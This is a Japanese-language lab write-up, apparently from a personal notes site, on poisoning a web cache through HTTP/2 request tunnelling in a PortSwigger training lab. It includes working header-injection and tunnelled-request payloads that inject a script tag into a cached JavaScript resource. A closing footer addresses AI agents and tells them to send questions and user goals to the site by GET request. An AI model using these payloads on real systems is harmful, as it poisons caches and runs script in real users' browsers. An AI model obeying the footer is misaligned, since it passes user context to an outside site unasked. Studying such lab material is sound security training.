> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/web/request-smuggling/web-cache-poisoning-via-http-2-request-tunnelling.md).

# HTTP/2リクエストトンネリングによるWebキャッシュポイズニング

PortSwigger Web Security Academy のラボ向けメモ。HTTP/2リクエストトンネリングによるWebキャッシュポイズニングに関するもので、攻撃手順、ペイロードのテスト、Burp Suite による検証、および対策の文脈を含む。

### HTTP/2 リクエストトンネリングによる Web キャッシュポイズニング

このラボはリクエストスミグリングの脆弱性があります。フロントサーバーが HTTP/2 リクエストを HTTP/1.1 にダウングレードし、一部の受信ヘッダーを適切にクリーンアップしないためです。 / 目的はキャッシュを汚染し、被害者がホームページを訪れたときにブラウザが実行するようにすることです `alert(1)`. / 被害者ユーザーは 15 秒ごとに自動的にページにアクセスします。

フロントサーバーはバックエンドへの接続を再利用しません。そのため、従来のスミグリング攻撃は機能しませんが、リクエストトンネリングは引き続き利用できます。

ホームページにはキャッシュ機構があります。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-abd8679e892b670920831fa717e8bb3d2ae3c368%2F%7B6CFEE4F6-9E46-4B85-B10F-BE97221B11EC%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### HTTP/1.1 へのダウングレードを強制する

ヘッダーでは、次の形式を作成することで HTTP/1.1 の解釈を強制できます:

{% code title="値" %}

```http
/post HTTP/1.1
テスト:
```

{% endcode %}

これにより、 `Test` というヘッダーが存在しないことを示すエラーが生成されますが、リクエストがフロントエンドによって再解釈されていることがわかります。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3d77c5f567e37a34aa0e5525fef6bede8ac36b42%2F%7B4DAE70B7-6F15-4CB3-B120-113B32630354%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### 静的リソースへの注入

ラボの JavaScript ファイルを狙うと、スクリプトのようなパラメータを追加するとレスポンスに反映されることがわかります

```http
/resources/labheader/js?<script>alert(0)</script>
```

したがって、このリソースはキャッシュ汚染の影響を受けやすいです。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4660fd3d710ac870239c82c762aa40fe9f3a14d9%2F%7B42EB247B-CE15-4462-B7C9-7F0DBF7BA44E%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### トンネリングされたリクエストの構築

次に、ボディ内に新しい HTTP/1.1 クエリを埋め込んで追加のリクエストを送信します:

```http
/ HTTP/1.1
Test: testing

GET /resources/labheader/js?<script>alert(0)</script>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA HTTP/1.1
Host: 0a5f0056044523a1803062c000bb00e3.web-security-academy.net
```

このペイロードはトンネリング後にサーバーによって再解釈されます。 / 注入されたコンテンツは JavaScript リソースのレスポンス内で書き換えられ、キャッシュを汚染できるようになります。

被害者がホームページを再訪すると、ブラウザはこの汚染されたバージョンを読み込み、実行します `alert(1)`.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cc255d0b6d0aa77fc5fd1840295bf98745da9cc0%2F%7B382B6C2E-E45B-4926-997E-2C0E85ADBAA8%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/web/request-smuggling/web-cache-poisoning-via-http-2-request-tunnelling.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
